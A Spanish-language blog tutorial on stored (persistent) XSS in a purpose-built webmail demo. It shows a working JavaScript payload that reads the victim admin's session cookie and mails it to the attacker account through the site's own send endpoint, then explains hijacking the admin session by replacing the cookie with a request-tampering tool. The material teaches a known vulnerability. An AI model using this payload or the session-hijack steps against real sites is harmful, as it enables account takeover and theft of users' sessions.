Ejemplo de XSS permanente: Robo de cookie de sesión

El siguiente ejemplo consta de dos partes; la primera es la comprobacion de que el servidor al que vamos enviar el mensaje es vulnerable a XSS y la segunda parte es aprovechar la vulnerabilidad para robar la cookie de sesión.

Comprobacion de que el servidor es vulnerable a XSS.


La funcionalidad de la página Web (pagina que se ha creado para el caso) de ejemplo es para correo electrónico (como si fuera otra cuenta cualquiera de correo electronico (hotmail, gmail, yahoo, etc):

image002

Vamos a entrar a la bandeja de entrada de nuestra cuenta atacante cuyo usuario es eviluser:


image004

Ahora mandamos un mensaje al administrador de otra cuenta que sera la victima (por sencillez en el ejemplo se sabe que el usuario es admin) donde comprobaremos si el servidor es vulnerable a XSS:

image006

El mensaje que va a ser enviado a la cuenta victima (admin) es el siguiente:

<em>hola, ¿qué tal?</em>

Se manda el saludo con formato de cursiva en HML.

El administrador recibe el siguiente coreo en su bandeja de entrada:

image008

Vemos que tenemos en la bandeja de entrada de la victima un correo del atacante, eviluser, donde aparece un saludo en cursiva. Se observa que el mensaje se guarda en el servidor y además el navegador interpreta el código HTML pues ha convertido <em>hola, ¿qué tal?</em> en hola, ¿qué tal?, ha representado el texto en cursiva.

La vulnerabilidad a groso modo se interpreta de la siguiente forma: si al enviar un correo desde una cuenta a otra con codigo html <em>mensaje</em> y este al llevar a la bandeja de entrada pero el mensaje se interpreta SIN <em></em> y solo el mensaje estos nos indica que ese servidor es vulnerable a XSS permanente.

El siguiente paso es robar la cookie de sesión del administrador para posteriormente entrar como si fuéramos él.

Robo de cookie de sesión.

Una vez comprobado que el servidor que sera nuestra victima es vulnerable, lo siguientes es enviar un correo con codigo malicioso que se ejecutara cada vez que se abra el correo que hemos enviado por lo que a continuacion veremos como adjuntamos el codigo malicioso al correro que se enviara a la victima.

El mensaje va a ser el siguiente:

<script>
d = “&to=eviluser&enviar=Enviar&mensaje=Mi cookie es: “+document.cookie;
if(window.XMLHttpRequest)
{
x=new XMLHttpRequest();
}
else
{
x=new ActiveXObject(‘Microsoft.XMLHTTP’);
}
x.open(“POST”,”func/send.php”,true);
x.setRequestHeader(‘Content-Type’,’application/x-www-form-urlencoded’);
x.setRequestHeader(‘Content-Length’,d.length);
x.send(d);

</script>

hola otra vez! –> segundo mensaje

Notar que al comienzo del script se pone el usuario que va a recibir el correo con la cookie, este es eviluser. Se hace uso de la función document.cookie.

Cuando el administrador vea su bandeja de entrada verá solo el mensaje que la frase hola otra vez! ya que el resto del mensaje que esta entre <script>mensaje</script> no aparece por la vulnerabilidad tal como se muestra en la imagen:

image010

Pero nosotros recibiremos el siguiente correo automáticamente debido al contenido del script que se envio:

image012

Aqui vemos como en nuestra bandeja de entrada ya tenemos la cookie de sesión del administrador.

Ahora usaremos el complemento de Firefox Tamper Data.

Recordar que estamos logeados como eviluser, bien., vamos a nuestra bandeja de entrada, en ese momento nuestro navegador lanzará la solicitud al servidor con nuestra cookie de sesión pero con Tamper Data se bloquea el envío y nos aparecerá una ventana preguntándonos si deseamos modificar los datos mandados al servidor, aceptamos y nos aparecerá lo siguiente:

image014

En la ventana anterior modificamos la cookie y ponemos la del administrador (la que recibimos en nuestra bandeja de entrada). Aparecerán varios mensajes de modificación hasta que la petición sea realizada del todo, en todos hacemos lo mismo. El resultado es el siguiente:

image016

Pasamos a estar logeados como el administrador!. O sea que tenemos la misma sesion que tiene el administrador de la maquina victima.

OBS: en lugar de usar Tamper Data se puede modificar la cookie en el propio equipo, ya que la cookie no deja de ser un txt.

by SimoriaH (vulnerabilityTEAM)

Un comentario en “Ejemplo de XSS permanente: Robo de cookie de sesión

  1. Pingback: Ejemplo de XSS permanente: Robo de cookie de sesión «

Responder

Por favor, inicia sesión con uno de estos métodos para publicar tu comentario:

Logo de WordPress.com

Estás comentando usando tu cuenta de WordPress.com. Cerrar sesión / Cambiar )

Imagen de Twitter

Estás comentando usando tu cuenta de Twitter. Cerrar sesión / Cambiar )

Foto de Facebook

Estás comentando usando tu cuenta de Facebook. Cerrar sesión / Cambiar )

Google+ photo

Estás comentando usando tu cuenta de Google+. Cerrar sesión / Cambiar )

Conectando a %s